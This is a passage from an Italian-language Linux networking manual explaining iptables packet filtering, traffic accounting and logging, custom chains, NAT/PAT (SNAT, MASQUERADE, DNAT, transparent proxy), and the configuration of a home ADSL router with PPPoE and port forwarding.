/sbin/iptables -A FORWARD -s 127.0.0.0/8    -i ! lo -j DROP
/sbin/iptables -A INPUT   -s 192.168.0.0/16 -i ppp0 -j DROP
/sbin/iptables -A FORWARD -s 192.168.0.0/16 -i ppp0 -j DROP
/sbin/iptables -A INPUT   -s 172.16.0.0/12  -i ppp0 -j DROP
/sbin/iptables -A FORWARD -s 172.16.0.0/12  -i ppp0 -j DROP
/sbin/iptables -A INPUT   -s 10.0.0.0/8     -i ppp0 -j DROP
/sbin/iptables -A FORWARD -s 10.0.0.0/8     -i ppp0 -j DROP
```

Nel fare questo, tuttavia, bisogna tenere in considerazione che a volte, alcuni fornitori di accesso a Internet utilizzano degli indirizzi riservati alle reti private per le connessioni PPP; generalmente si tratta del gruppo 10.*.*.*.

47.5.4.3 Esempi

Di seguito vengono mostrati altri esempi che dovrebbero aiutare a comprendere ancora meglio il funzionamento di un firewall realizzato con un sistema GNU/Linux.

- ```
  /sbin/iptables -A FORWARD -s 224.0.0.0/3 -d 0/0 -j DROP
  ```

  Questa regola impedisce il transito di tutti quei pacchetti che provengono da un'origine in cui l'indirizzo IP sia composto in modo da avere i primi tre bit a uno. Infatti, 224_{10} si traduce nel numero binario 11100000_2, che esclude tutta la classe D e la classe E degli indirizzi IPv4. Segue la visualizzazione della regola attraverso '**iptables -L FORWARD -n**'.

  ```
  target     prot opt source               destination
  DROP       all  --  224.0.0.0/3          0.0.0.0/0
  ```

- ```
  /sbin/iptables -A FORWARD -s 224.0.0.0/3 -j DROP
  ```

  Questo esempio è esattamente identico a quello precedente, perché la destinazione predefinita è proprio quella riferita a qualunque indirizzo.

- ```
  /sbin/iptables -A FORWARD -p tcp -s 192.168.1.0/24 -d 0/0 23 -j ACCEPT
  ```

  Consente ai pacchetti TCP provenienti dalla rete 192.168.1.* di attraversare il firewall per raggiungere qualunque indirizzo, ma solo alla porta 23. In pratica concede di raggiungere un servizio TELNET. Segue la visualizzazione della regola attraverso '**iptables -L FORWARD -n**'.

  ```
  target     prot opt source               destination
  ACCEPT     tcp  --  192.168.1.0/24       0.0.0.0/0          tcp dpt:23
  ```

- ```
  /sbin/iptables -A FORWARD -p tcp -s 0/0 --sport 6000:6009 -d 0/0 -j DROP
  /sbin/iptables -A FORWARD -p tcp -s 0/0 -d 0/0 --dport 6000:6009 -j DROP
  ```

  Blocca il transito delle comunicazioni riferite alla gestione remota di applicazioni per X. In questo caso, si presume di poter avere a che fare con sistemi che gestiscono fino a 10 serventi grafici contemporaneamente.

- ```
  /sbin/iptables -A INPUT  -p tcp -s 0/0 --sport 6000:6009 -d 0/0 -j DROP
  /sbin/iptables -A OUTPUT -p tcp -s 0/0 -d 0/0 --dport 6000:6009 -j DROP
  ```

  Blocca l'ingresso e l'uscita di comunicazioni riferite alla gestione remota di applicazioni per X. Questo potrebbe essere utile per proteggere un sistema che non si avvale di un firewall o che semplicemente non si fida della rete circostante.
  ```

- ```
  /sbin/iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
  /sbin/iptables -A INPUT -m state --state NEW -i ! ppp0 -j ACCEPT
  /sbin/iptables -A INPUT -j DROP
  /sbin/iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
  /sbin/iptables -A FORWARD -m state --state NEW -i ! ppp0 -j ACCEPT
  /sbin/iptables -A FORWARD -j DROP
  ```

  Si consente l'ingresso e il transito di pacchetti relativi a connessioni già esistenti e di pacchetti correlati a connessioni già esistenti; si consente l'instaurazione di connessioni nuove, purché non provengano dall'interfaccia '**`ppp0`**'; si bloccano tutti gli altri pacchetti.

47.5.5 Contabilizzazione del traffico

Con i kernel Linux 2.4.* e 2.6.*, la contabilizzazione del traffico è implicita nel sistema di filtro del firewall: ogni regola che venga inserita in un punto di controllo accumula i propri contatori. In questo senso possono essere opportune anche regole che non hanno l'indicazione di alcun obiettivo, in quanto utili solo per selezionare una parte del traffico ai fini contabili.

Con l'opzione '**`-v`**' si può osservare il valore raggiunto dai vari contatori. Per esempio, disponendo di un'unica regola che cattura tutto il traffico in ingresso,

`#` **`iptables -F INPUT`** [*Invio*]

`#` **`iptables -A INPUT`** [*Invio*]

il comando

`#` **`iptables -L INPUT -v -n`** [*Invio*]

potrebbe generare un rapporto simile a quello seguente:

```
Chain INPUT (policy ACCEPT 57716 packets, 4848K bytes)
 pkts bytes target     prot opt in     out     source         destination
57716 4848K            all  --  *      *       0.0.0.0/0      0.0.0.0/0
```

Si possono notare in particolare le colonne '**`pkts`**' e '**`bytes`**' che si riferiscono rispettivamente al numero di pacchetti IP e alla loro dimensione complessiva in byte. A fianco dei numeri che esprimono queste quantità potrebbero essere aggiunte delle lettere che rappresentano dei multipli: '**`K`**', '**`M`**' e '**`G`**'. È importante osservare che questi esprimono multipli del sistema di numerazione decimale: 1000, 1000000 e 1000000000.[5]

L'azzeramento dei conteggi si ottiene con l'opzione di comando '**`-Z`**' ('**`--zero`**') che interviene in tutte le regole dei punti di controllo indicati. Questa può essere utilizzata anche assieme all'opzione '**`-L`**', in modo da non perdere informazioni.

Segue la descrizione di alcuni esempi.

- `#` **`iptables -L INPUT -v -n`** [*Invio*]

  Mostra tutte le informazioni disponibili sulle regole di ingresso, senza tradurre i dati numerici in nome. Tra le altre cose mostra anche i contatori del traffico.
```

- # **iptables -Z INPUT** [*Invio*]

  Azzera i conteggi riferiti alle regole di ingresso.

- # **iptables -L -Z -v -n** [*Invio*]

  Mostra tutte le informazioni disponibili di tutti i punti di controllo (ed eventualmente anche di altri raggruppamenti di regole), compresi i conteggi che vengono azzerati immediatamente dopo.

47.5.6 Registrazione del traffico

Esiste un obiettivo speciale, denominato '**LOG**', con il quale si ottiene l'annotazione nel registro del sistema sull'intestazione del pacchetto, ogni volta che la regola ne intercetta uno. Tuttavia, in questo caso, quando un pacchetto viene intercettato da una regola del genere, questo continua poi a essere analizzato dalle regole successive, per poterlo utilizzare anche in modo differente.

```
/sbin/iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
/sbin/iptables -A INPUT -m state --state NEW -i ! ppp0       -j ACCEPT
/sbin/iptables -A INPUT -m state --state NEW -i ppp0         -j LOG
/sbin/iptables -A INPUT -j DROP
```

L'esempio che si vede è abbastanza articolato, per farne comprendere il senso. Lo scopo è quello di annotare nel registro le connessioni in ingresso, attraverso l'interfaccia '**ppp0**', che non siano autorizzabili a seguito di qualche correlazione con connessioni preesistenti.

La registrazione può avvenire anche indicando una sigla come prefisso, attraverso l'opzione '**--log-prefix**', per distinguere facilmente le annotazioni. L'esempio seguente ripete quanto già mostrato in precedenza, con l'aggiunta del prefisso '**XXX**' iniziale:

```
/sbin/iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
/sbin/iptables -A INPUT -m state --state NEW -i ! ppp0       -j ACCEPT
/sbin/iptables -A INPUT -m state --state NEW -i ppp0         -j LOG ↩
↪--log-prefix "XXX"
/sbin/iptables -A INPUT -j DROP
```

Per controllare le segnalazioni che si ottengono in questo modo nel registro del sistema, si può fare riferimento alla voce '**kern.info**'. Per esempio, se nel file '`/etc/syslog.conf`' si inserisce la direttiva seguente, si ottiene una copia di questi messaggi nella console '`/dev/tty11`':

```
kern.info               /dev/tty11
```

Si osservi che in condizioni normali, tutti i messaggi di tipo '***.info**' vengono inviati anche alla console attiva, contribuendo a disturbare il lavoro che lì vi viene svolto.

47.5.7 Raggruppamenti di regole al di fuori dei punti di controllo standard

Oltre ai punti di controllo normali, è possibile definire delle raccolte di regole aggiuntive, a cui si può fare riferimento quasi come se fossero delle subroutine di un linguaggio di programmazione. Queste raccolte vengono identificate da un nome, al quale si può fare riferimento attraverso altre regole in qualità di obiettivo. In pratica, una regola posta in un punto di controllo può indicare un obiettivo corrispondente al nome di un altro raggruppamento di regole, che viene così a essere incorporato idealmente in quella posizione.

Per comprendere il meccanismo, si supponga di avere creato la raccolta di regole (*chain*) denominata '**prova**', con una regola all'interno del punto di controllo di ingresso che vi faccia riferimento. Per cominciare, le regole contenute all'interno di '**prova**' potrebbero essere:

```
target     prot opt source               destination
           all  --  192.168.1.0/24       0.0.0.0/0
           all  --  0.0.0.0/0            192.168.1.0/24
           all  --  127.0.0.1            0.0.0.0/0
```

Come si può osservare in questo caso, si tratta di regole che servono solo alla contabilizzazione del traffico, dal momento che non sono stati indicati degli obiettivi.

Le regole di ingresso potrebbero essere quelle seguenti:

```
target     prot opt source               destination
...
prova      tcp  --  0.0.0.0/0            0.0.0.0/0
...
```

Si può osservare una regola il cui scopo è quello di individuare tutto il traffico TCP. Dal momento che l'obiettivo di questa è il raggruppamento '**prova**', i pacchetti che rientrano nella selezione di questa regola vengono scomposti ulteriormente attraverso le regole del raggruppamento '**prova**'. I pacchetti che non vengono «catturati» da alcuna regola del raggruppamento '**prova**' tornano a essere presi in considerazione dalle regole successive nel punto di controllo di ingresso.

La creazione di un raggruppamento di regole si ottiene con l'opzione di comando '**-N**' ('**--new-chain**') e la sua eliminazione con '**-X**' ('**--delete-chain**'). Per esempio, il comando

`#` **`iptables -N prova`** [*Invio*]

serve a creare il raggruppamento '**prova**' a cui si accennava in precedenza. L'inserimento di regole avviene nel modo normale; per continuare a seguire gli esempi fatti, i comandi dovrebbero essere i seguenti:

`#` **`iptables -A prova -s 192.168.1.0/24`** [*Invio*]

`#` **`iptables -A prova -d 192.168.1.0/24`** [*Invio*]

`#` **`iptables -A prova -s 127.0.0.1`** [*Invio*]

Così, l'inserimento della regola nel punto di controllo di ingresso che fa riferimento a questo raggruppamento, come mostrato dagli esempi in precedenza, si indica semplicemente con il comando seguente:

iptables -A INPUT -p tcp -j prova [*Invio*]

L'eliminazione di un raggruppamento di regole è ammissibile solo quando questo è vuoto e quando non esistono più riferimenti da parte di altre regole nei punti di controllo normali.

iptables -D INPUT -p tcp -j prova [*Invio*]

iptables -F prova [*Invio*]

iptables -X prova [*Invio*]

I comandi mostrati sopra servono rispettivamente a eliminare la regola di ingresso che faceva riferimento al raggruppamento '**prova**', a svuotare il raggruppamento e infine a eliminarlo.

47.6 NAT/PAT con kernel Linux

I kernel Linux 2.4.* e 2.6.*, assieme alla gestione del filtro dei pacchetti IP, possono occuparsi anche della trasformazione degli indirizzi e delle porte, ovvero del NAT/PAT. Ciò consente, tra le altre cose, di ottenere il mascheramento IP e la gestione del proxy trasparente.

Va però tenuto conto che queste funzionalità sono disponibili generalmente per i protocolli IPv4, ma non per IPv6.

47.6.1 Struttura e punti di intervento

La gestione NAT/PAT può essere applicata in tre punti, denominati '**PREROUTING**', '**POSTROUTING**' e '**OUTPUT**'.

Figura 47.84. Punti di intervento per la gestione del NAT/PAT e influenza relativa.

Il '**PREROUTING**' si riferisce a una posizione ideale che precede l'instradamento da parte dell'elaboratore. In questa posizione è possibile modificare gli indirizzi di destinazione, in modo che l'instradamento possa avvenire correttamente in base a tali trasformazioni.

Il '**`POSTROUTING`**' si riferisce a una posizione ideale successiva all'instradamento da parte dell'elaboratore. In questa posizione è possibile modificare gli indirizzi di origine.

Il punto denominato '**`OUTPUT`**' si riferisce ai pacchetti generati da un processo locale. Questi vengono vagliati successivamente anche dal punto '**`POSTROUTING`**'; a ogni modo si può gestire solo la trasformazione degli indirizzi di destinazione.

47.6.2 Gestione con IPTables

La configurazione della trasformazione degli indirizzi avviene per mezzo di IPTables, intervenendo nella tabella '**`nat`**':

`iptables -t nat` ***opzione_di_comando punto_di_intervento regola obiettivo_di_trasformazione***

Le opzioni di comando sono le stesse che si utilizzano per la gestione del filtro dei pacchetti IP. Anche in questo caso è prevista la presenza di una politica predefinita, dove la parola chiave '**`ACCEPT`**' serve a specificare l'assenza di trasformazioni. In condizioni normali, la tabella risulta vuota, come si vede nell'esempio seguente:

`#` **`iptables -t nat -L`** [*Invio*]

```
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination

Chain POSTROUTING (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
```

Sono disponibili le opzioni che identificano il protocollo, gli indirizzi, le porte e le interfacce di rete, come già avviene nell'utilizzo di IPTables per la gestione del filtro IP.

47.6.3 Modifica dell'origine

Per comprendere il significato della trasformazione degli indirizzi di origine, conviene fare riferimento a un esempio, come si vede nella figura 47.86. In questo caso, il NAT si trova collegato a una rete privata, in cui si usano indirizzi 192.168.1.*, mentre dalla parte connessa alla rete esterna, dispone di quattro indirizzi validi: 1.2.3.4, 1.2.3.5, 1.2.3.6, 1.2.3.7. Per consentire i collegamenti che partono dalla rete interna a quella esterna, il NAT deve sostituire gli indirizzi di origine utilizzando convenientemente i quattro indirizzi di cui dispone. Naturalmente, i quattro indirizzi in questione corrispondono tutti alla stessa interfaccia ed esistono gli instradamenti necessari dalla rete esterna a questi indirizzi.

Figura 47.86. Modifica degli indirizzi di origine.

Per raggiungere questo risultato, si può utilizzare il comando seguente, supponendo che '**eth0**' sia l'interfaccia a cui fanno riferimento i quattro indirizzi IP validi per la rete esterna:

```
# iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to-source ↩
↪          1.2.3.4-1.2.3.7 [Invio]
```

```
# iptables -t nat -L POSTROUTING [Invio]
```

```
Chain POSTROUTING (policy ACCEPT)
target     prot opt source         destination
SNAT       all  --  anywhere       anywhere          to:1.2.3.4-1.2.3.7
```

Come si può osservare, per ottenere la trasformazione degli indirizzi di origine viene utilizzato l'obiettivo di trasformazione '**SNAT**', il quale implica l'uso di un'opzione aggiuntiva:

--to-source ***indirizzo_ip*** [-***indirizzo_finale***] [:***porta_iniziale***-***porta_finale***]

--to ***indirizzo_ip*** [-***indirizzo_finale***] [:***porta_iniziale***-***porta_finale***]

Come si intende dal modello sintattico, è possibile aggiungere l'indicazione di un intervallo di porte da utilizzare per la trasformazione. In generale, non mettendo questa informazione, la trasformazione delle porte avviene in modo corretto.

Questo tipo di trasformazione precisa degli indirizzi di origine si presta per le situazioni in cui l'interfaccia di rete collegata alla rete esterna ha uno o più indirizzi IP statici da poter mostrare. In alternativa, quando si può disporre soltanto di un indirizzo dinamico, come avviene nelle connessioni PPP comuni, conviene usare l'obiettivo '**MASQUERADE**'.

Figura 47.88. Mascheramento IP.

Seguendo l'esempio della figura 47.88, supponendo che l'interfaccia di rete collegata all'esterno sia '**ppp0**', si procede nel modo seguente:

```
# iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE [Invio]
```

```
# iptables -t nat -L POSTROUTING [Invio]
```

```
Chain POSTROUTING (policy ACCEPT)
target     prot opt source               destination
MASQUERADE all  --  anywhere             anywhere
```

Si intende che la sostituzione dell'origine si gioca su un indirizzo IP unico, gestendo convenientemente le porte TCP e UDP. Pertanto, l'indirizzo in questione è implicitamente quello di cui dispone l'interfaccia di rete, che così può essere dinamico.

47.6.4 Modifica della destinazione

La modifica della destinazione si definisce con l'obiettivo '**DNAT**', che può intervenire nel punto '**PREROUTING**', oppure nei pacchetti generati localmente. Questo tipo di sostituzione serve per dirottare i pacchetti, per qualche motivo.

Figura 47.90. Il NAT/PAT trasferisce le connessioni dirette a 123.122.121.120:80 a 192.168.7.7:80.

La figura 47.90 mostra una situazione in cui viene collocato un servente HTTP in una rete locale con indirizzi privati, mentre si vuole fare in modo che all'esterno appaia collocato all'interno del router che svolge il ruolo di NAT. Per realizzare in pratica questa cosa, si può usare il comando seguente:

```
# iptables -t nat -A PREROUTING -p tcp --dport 80 -i eth0 ↩
↪          -j DNAT --to-destination 192.168.7.7 [Invio]
```

```
# iptables -t nat -L PREROUTING [Invio]
```

```
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination
DNAT       tcp  --  anywhere             anywhere            tcp ↩
↪dpt:www to:192.168.1.7
```

Come si può vedere dall'esempio, l'obiettivo di trasformazione '**DNAT**' implica l'uso di un'opzione aggiuntiva:

--to-destination ***indirizzo_ip*** [-***indirizzo_finale***] [:***porta_iniziale***-***porta_finale***]

--to ***indirizzo_ip*** [-***indirizzo_finale***] [:***porta_iniziale***-***porta_finale***]

Come si intende dal modello sintattico, è possibile aggiungere l'indicazione di un intervallo di porte da utilizzare per la trasformazione. In generale, non mettendo questa informazione, la trasformazione delle porte avviene in modo corretto.

Nelle situazioni più comuni, modificando la destinazione si indica un solo indirizzo ed eventualmente una sola porta.

Un'altra situazione tipica è quella rappresentata dall'esigenza di ridirigere il traffico diretto a una certa porta, verso una porta differente di un certo nodo, nel quale esiste probabilmente un cache proxy (che ovviamente deve essere configurato correttamente per gestire tale situazione).

Figura 47.92. Realizzazione di un proxy trasparente per una rete locale.

rete esterna --- eth0 1.2.3.4 | proxy trasparente | eth1 192.168.1.1 — rete privata 192.168.1.* — nodo, nodo, nodo

Supponendo di gestire una rete locale simile a quella che si vede nella figura 47.92, si vuole fare in modo che tutte le richieste di accesso a servizi HTTP, da parte della rete locale, siano dirottati verso il proxy, collocato nello stesso elaboratore che ospita il NAT, alla porta 8080 (si parla in questo caso di proxy trasparente).

```
# iptables -t nat -A PREROUTING -p tcp --dport 80 -i eth1 ↩
↪          -j DNAT --to-destination 192.168.1.1:8080[Invio]
```

In questo caso particolare, dal momento che si vuole intervenire nello stesso elaboratore che ospita sia il NAT, sia il servizio proxy, è possibile utilizzare l'obiettivo speciale '**REDIRECT**' che richiede l'indicazione dell'opzione '**--to-port**':

--to-port ***porta***

--to ***porta***

L'esempio precedente potrebbe quindi essere semplificato nel modo seguente:

```
# iptables -t nat -A PREROUTING -p tcp --dport 80 -i eth1 ↩
↪         -j REDIRECT --to-port 8080 [Invio]
```

```
# iptables -t nat -L PREROUTING [Invio]
```

```
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination
REDIRECT   tcp  --  anywhere             anywhere           tcp ↩
↪dpt:www redir ports 8080
```

Il cambiamento della destinazione per quanto riguarda i pacchetti generati dalle applicazioni locali (interne al NAT), funziona nello stesso modo, ma è meno probabile la necessità di intervenire in questo modo.

L'allestimento di un proxy trasparente non si esaurisce con la ridirezione del traffico verso la porta del proxy; quasi sempre è necessario occuparsi anche della configurazione appropriata di questo.

Altri programmi affini.

netstat-nat(1)[6]	Si tratta di un programma simile a '**netstat**', con lo scopo di visualizzare le connessioni modificate da un kernel Linux per le funzionalità NAT.

47.7 Annotazioni sull'uso di un router ADSL per le utenze comuni

L'accesso a una linea ADSL (*Asymmetric digital subscriber line*) implica l'utilizzo di un «modem ADSL», oppure di un router ADSL. In generale, le opzioni proposte dai fornitori per le utenze private tendono a offrire l'uso di modem ADSL, pronti per l'utilizzo con sistemi operativi proprietari, mentre ci possono essere delle difficoltà nell'utilizzo di questi componenti se si dispone solo di software libero. Se nel contratto che viene sottoscritto non ci sono clausole che impediscono espressamente l'utilizzo di un router, a patto di assumersi comunque tutte le responsabilità per l'utilizzo del proprio accesso, vale forse la pena di acquistare un router ADSL, semplificando così molte cose.

47.7.1 Protocolli di comunicazione

Il modem o il router ADSL deve interagire con la controparte presso il fornitore di accesso attraverso un protocollo. Questo protocollo di comunicazione serve inizialmente per l'identificazione dell'utente che accede alla rete e poi per ottenere l'indirizzo IPv4, salvo il caso in cui questo sia stabilito dal contratto (indirizzo statico) e quindi già noto. Esistono due protocolli: *PPP over ethernet* e *PPP over ATM*. Questi protocolli vengono spesso abbreviati con nomi del tipo '**PPPoE**' e '**PPPoA**' rispettivamente.

Se si decide di acquistare un router ADSL, per utilizzarlo con software libero, cioè generalmente al di fuori di qualunque supporto possibile da parte del fornitore di accesso, bisogna essere sicuri, nella fase di sottoscrizione del contratto, di scegliere il protocollo «giusto».

In generale, la scelta che dovrebbe offrire più possibilità a un utilizzatore di software libero dovrebbe essere quella del protocollo *PPP over ethernet*, dal momento che con questo è possibile,

teoricamente, utilizzare anche un qualunque modem ADSL (si tratta però di una procedura che qui non viene descritta, ma è disponibile molta documentazione al riguardo). Tuttavia, è bene acquistare un router ADSL che possa essere configurato per gestire indifferentemente entrambi i protocolli.

Ogni fornitore di accesso ha la propria politica nel modo di presentare l'offerta al pubblico; in questo senso, l'esigenza di semplificare al massimo la terminologia può rendere difficile a un utente più preparato il significato di certi termini. Per esempio, può capitare di dover scegliere la tipologia di collegamento usando come riferimento solo la caratteristica esteriore di un modem che in quel contesto viene proposto: se il modem è di tipo *ethernet*, vuole dire che si fa riferimento a un protocollo *PPP over ethernet*, mentre altre tipologie sono riferite probabilmente al protocollo *PPP over ATM*.

47.7.2 Comunicazione e configurazione con il router ADSL

Normalmente, un router ADSL è un piccolo elaboratore senza tastiera e senza schermo, a cui si accede tramite un terminale seriale (attraverso una porta seriale standard), oppure attraverso un piccolo servente HTTP munito di un programma CGI adeguato.

L'accesso è controllato normalmente attraverso una parola d'ordine e potrebbero essere previste due utenze: una amministrativa e una comune, dove la seconda consente la consultazione dello stato di funzionamento.

È bene iniziare a configurare il router ADSL prima di collegarlo alla linea esterna, per definire una parola d'ordine di accesso all'amministrazione differente da quella predefinita e per organizzare la rete locale. Di norma il router dovrebbe essere già impostato con un indirizzo IPv4 privato, associato all'interfaccia rivolta verso la rete interna (LAN); bisogna leggere la documentazione per determinare questo indirizzo e la sua maschera di rete; quindi, coerentemente con questi dati si configura il proprio elaboratore per accedere al router. Per qualche motivo, capita spesso che questo indirizzo sia in classe A, per esempio 10.0.0.2, con maschera di rete 255.0.0.0; di conseguenza, si deve configurare l'interfaccia di rete del proprio elaboratore in modo da poter comunicare con questo, per esempio con l'indirizzo 10.0.0.3, impostando anche l'instradamento predefinito verso il router, cioè verso l'indirizzo 10.0.0.2; quindi, con un navigatore comune si dovrebbe accedere al servente HTTP del router: `http://10.0.0.2`.

Dopo l'autenticazione, con un po' di prudenza si può passare alla modifica della parola d'ordine per l'amministratore e probabilmente anche alla definizione di una rete interna con indirizzi più «ragionevoli».

Figura 47.95. Un esempio di pagina di configurazione della rete interna con indirizzi 192.168.1.*, dove vengono riservati alcuni di questi per l'assegnazione automatica tramite protocollo DHCP.

LAN Configuration

IP Address 192.168.1.254

Subnet Mask 255.255.255.0

DHCP Server

DHCP address pool selection: System Allocated / User Defined

User Defined Start Address 192.168.1.1

User Defined End Address 192.168.1.99

Lease Time 0 days 0 hours 0 minutes 0 seconds

User Mode Multi-User

Ethernet Mode Setting

Submit Reset

Settings need to be saved to Flash and the system needs to be rebooted for changes to take effect.

Una volta risolto questo, occorre controllare di avere attivato la gestione del NAT, ovvero della traduzione degli indirizzi IPv4 della rete interna nell'indirizzo valido ottenuto dal router. Probabilmente occorre verificare di utilizzare il tipo corretto di NAT, che in questo caso deve intervenire modificando anche le porte dei protocolli TCP e UDP.

Figura 47.96. Un esempio di pagina di attivazione del NAT. In questo caso è sufficiente selezionare il tipo NATP.

NAT Configuration

NAPT NAT

Session Name | User's IP | Action (Add)

Submit Reset

#	Session Name	User's IP

Session Name Configuration

Figura 47.97. Un esempio in cui occorre specificare espressamente l'intervallo di indirizzi a cui applicare il NAT.

Nat Configuration

Enable

#	Public IP address	Private Lan IP address Start	Private Lan IP address End
1	0.0.0.0	192.168.1.1	192.168.1.253

Modify

Submit Reset

Quando è accertato che il collegamento della rete locale funziona correttamente, secondo le impostazioni definite, si può passare alla configurazione del lato esterno (WAN). È qui che si deve definire il protocollo di comunicazione. La figura 47.98 dà un'idea di questa configurazione per quanto riguarda *PPP over ethernet*. Si osservi che il nominativo utente e la parola d'ordine sono riferiti all'utenza presso il fornitore di accesso alla linea ADSL.

Figura 47.98. La pagina di configurazione del collegamento ADSL, con il protocollo *PPP over ethernet*, utilizzando un router CNet.

WAN Configuration

System Wide Settings

Default Gateway 0.0.0.0

Per VC Settings

Enabled?	VPI	VCI	Static IP Address	Subnet Mask
Yes	8	35	0.0.0.0	0.0.0.0

MAC SPOOFING
Mac Spoofing Disable
Mac Address 00:00:00:00:00:00
ATM
Service Category UBR
Bandwidth 0 kbps
ENCAPSULATION PPPoE LLC
BRIDGE Disabled
IGMP Disabled

PPP
Service Name
Username tizio_tizi
Password ***********
Disconnect Timeout 0 seconds (Max:32767)
Authentication Auto
Automatic Reconnect
DHCP
DHCP client enable
Host Name

Virtual Circuit: 0

Submit Reset

Figura 47.99. La pagina di configurazione del collegamento ADSL, con il protocollo *PPP over ethernet*, utilizzando un router Pirelli.

Enabled?	VPI	VCI	Static IP Address	Subnet Mask
Yes	8	35	0.0.0.0	0.0.0.0

MAC SPOOFING

Mac Spoofing: Disable

Mac Address: 00:00:00:00:00:00

ATM

Service Category: UBR

Bandwidth: 0 kbps

ENCAPSULATION: PPPoE LLC

BRIDGE: Disabled

IGMP: Disabled

PPP

Service Name:

Username: tizio_tizi

Password: ***************

Disconnect Timeout: 0 seconds (**Max:32767**)

MRU: 1492

MTU: 1492

MSS: 1432

Authentication: Auto

Automatic Reconnect

Advanced PPP configuration

DHCP

DHCP client enable

Host Name:

Virtual Circuit: 0

In questa fase è importante anche definire due parametri: VPI e VCI. Nelle reti italiane, solitamente, sono corretti i valori 8 e 35 rispettivamente.

47.7.3 Controllo

La fase successiva è quella del controllo di cosa accade collegando il router alla linea esterna. Dovrebbero essere disponibili della pagine che mostrano lo stato della connessione; se è presente una specie di registro (*log*) è questo il modo migliore per comprendere ciò che accade:

```
1/1/1970 0:0:0> Ethernet Device 0 Detected
1/1/1970 0:0:0> ATM: Detected
1/1/1970 0:0:0> ATM: Setting up vcc0, VPI=8, VCI=35
1/1/1970 0:0:0> NAPT is enabled
1/1/1970 0:0:0> Initialized NAPT.
1/1/1970 0:0:11> ATM Connected
1/1/1970 0:0:11> ATM layer is up, cell delineation achieved
1/1/1970 0:0:11> ADSL connected
1/1/1970 0:0:15> PPP1 PPPoE Session is established.
1/1/1970 0:0:35> PPP PAP Authentication success
1/1/1970 0:0:35> PPP1: PPP IP address is 80.180.115.7
1/1/1970 0:0:35> PPP1: PPP Gateway IP address is 192.168.100.1
1/1/1970 0:0:35> PPP1: DNS Primary IP address is 81.74.224.227
1/1/1970 0:0:35> PPP1: DNS Secondary IP address is 212.216.112.112
1/1/1970 0:0:35> NAT/NAPT Session Start: VC# 0, WAN IP is 80.180.115.7
1/1/1970 0:0:35> Initialized DMZ host.
1/1/1970 0:0:35> NAPT: many-to-one default session is up.
1/1/1970 0:0:36> PPP1 Session is up.
5/31/2003 22:42:35> Received time from Time Server 128.138.140.44
```

In questo caso, si può verificare che tutto è andato a buon fine, dal momento che l'indirizzo IPv4 esterno è stato acquisito regolarmente, ma si può osservare una cosa imprevista:

```
1/1/1970 0:0:35> PPP1: PPP Gateway IP address is 192.168.100.1
```

Si intuisce che il router abbia la necessità di attribuire questo indirizzo per qualche ragione e probabilmente non c'è modo di modificarlo. Se si scopre una cosa del genere, è bene tenerne conto nella configurazione della rete locale, in modo da non interferire.

Purtroppo può succedere che le cose siano più complesse di così, a causa delle procedure utilizzate dal fornitore. Tanto per fare un esempio comune, il fornitore potrebbe concedere l'accesso in modo preliminare utilizzando un nominativo utente e una parola d'ordine standard, per tutti gli utenti (una cosa del tipo: utente '**pippoadsl**' e parola d'ordine '**pippoadsl**'). In questo modo, gli utenti che accedono con tale identificazione possono raggiungere solo a servizi determinati, con lo scopo di completare la procedura di registrazione, ottenendo alla fine il nominativo e la parola d'ordine corretti.

In queste situazioni, occorre considerare un fatto importante: non è possibile fare nulla che non sia stato previsto in anticipo; per esempio non è possibile risolvere i nomi di dominio in proprio, perché l'accesso ai serventi DNS principali risulterebbe impedito. È proprio dalla lettura delle informazioni ottenute dal router che si può sapere come modificare, forse solo temporaneamente, il file '`/etc/resolv.conf`', per poter poi accedere al sito da cui si può completare la registrazione e ottenere i dati mancanti:

```
1/1/1970 0:0:35> PPP1: DNS Primary IP address is 81.74.224.227
1/1/1970 0:0:35> PPP1: DNS Secondary IP address is 212.216.112.112
```

47.7.4 DNS

Un router ADSL, come si vede dalla sezione precedente, dovrebbe essere in grado di ottenere dalla controparte l'informazione sui serventi DNS che possono essere utilizzati. Di solito, una volta ottenute queste informazioni, il router dovrebbe da solo gestire un servizio DNS, che in pratica rinvia semplicemente le richieste ai serventi esterni. Pertanto, la configurazione del DNS nella rete locale, potrebbe prevedere semplicemente l'accesso al router ADSL come se contenesse un servente DNS vero e proprio.

Se il router ADSL non fornisce un registro per vedere ciò che accade nella connessione con l'esterno, diventa indispensabile utilizzare il router stesso come servente DNS.

47.7.5 Protezione e accesso dall'esterno

In condizioni normali, un router NAT di questo tipo consente tutte le comunicazioni che hanno origine dall'interno, bloccando probabilmente tutti i pacchetti provenienti dall'esterno che non sono riferiti ad alcuna comunicazione preesistente. Questa può essere una soluzione molto semplice ai problemi di sicurezza, ma non consente di ricevere accessi dall'esterno.

Un router più evoluto potrebbe consentire di dichiarare delle ridirezioni precise per connessioni TCP e UDP che vengono tentate dall'esterno verso porte determinate. Per esempio potrebbe essere utile definire una ridirezione del genere per le richieste che riguardano la porta 80 verso l'elaboratore della rete locale che ospita un servente HTTP (anche se un indirizzo IPv4 dinamico offre poche possibilità di utilizzare un servizio del genere).

Figura 47.103. Ridirezione di alcune porte verso un elaboratore della rete locale (indirizzo 192.168.1.253), con un router Pirelli.

Virtual Server Configuration

ID	Public Port	Private Port	Port Type	Host IP Address	
1	80	80	TCP	192.168.1.253	Delete This Setting
2	23	23	TCP	192.168.1.253	Delete This Setting
3	21	21	TCP	192.168.1.253	Delete This Setting

- Use the following form to add special port that you want to be opened for your special application

ID	Public Port	Private Port	Port Type	Host IP Address	
4			TCP UDP		Add This Setting

Settings need to be saved to Flash and the system needs to be rebooted for changes to take effect.

